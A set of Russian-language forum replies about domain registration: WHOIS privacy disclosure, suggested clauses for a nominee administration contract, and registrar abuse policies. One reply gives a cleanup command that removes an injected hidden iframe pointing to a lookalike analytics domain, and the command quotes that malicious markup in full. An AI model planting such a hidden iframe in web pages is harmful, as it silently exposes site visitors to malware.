moldu, не приват снимается, а данные выдаются. По адвокатскому запросу, по постановлению суда или в рамках ОРМ.
1. Регистратор может выдать данные по адвокатскому запросу.
2. За услугу private person не получится взять с клиента много денег :)
st.pater, бюджет?
Rakhaev, договор нестандартный, сама ситуация редкая. Вероятно придется заказывать составление у юристов. У Ру-центра можете и не спрашивать, с чего Вы вообще решили, что у них есть образец такого договора?
Но навскидку, некоторые положения "договора номинального администрирования":
Условия оказания услуги.
Фидуциарный (доверительный) характер.
Гарантии передачи прав на администрирование домена клиенту.
Ограничения по их отчуждению (предаче третьим лицам и удалению домена).
Обязательство по управлению и продлению домена.
Обязательство по конфиденциальности.
Ответственность сторон, в т.ч. в случае судебного иска со стороны третьих лиц.
...
В качестве доп. гарантии - сделка по передаче клиенту и письмо регистратору без даты.
Не начались, и начнутся еще не скоро.
У них, в отличии от Директи, есть такое качество, как адекватность.
:D
Имеют. Уверен, что в "no spam policy", с которым соглашаются все пользователи Directi при регистрации домена, прописано, что они могут заблокировать домен при поступлении жалобы.
Есть. Например, тот же moniker. Про dd24 ничего сказать не могу.
Вы серьезно думаете, что под макось не существует малвари? :)
Почему Вы делаете такой вывод? Похоже, что Вы не понимаете сам прицпип. Вставка айфрейма (как правило) происходит с другой машины.
Но в данном случае, проблема действительно у ht-systems.
Для удаления вредоносного кода необходимо выполнить:
grep -R google-analistyc.net . | awk '{print $1}' | cut -d ":" -f 1 | xargs -n1 sed -i '' 's|<\!-- ~ --><iframe src=\"http:\/\/google-analistyc.net\/in.cgi?12\" width=\"0\" height=\"0\" style=\"display:none\"><\/iframe><\!-- ~ -->||g'
Cервера имен, мыло, да и паспортные данные :)
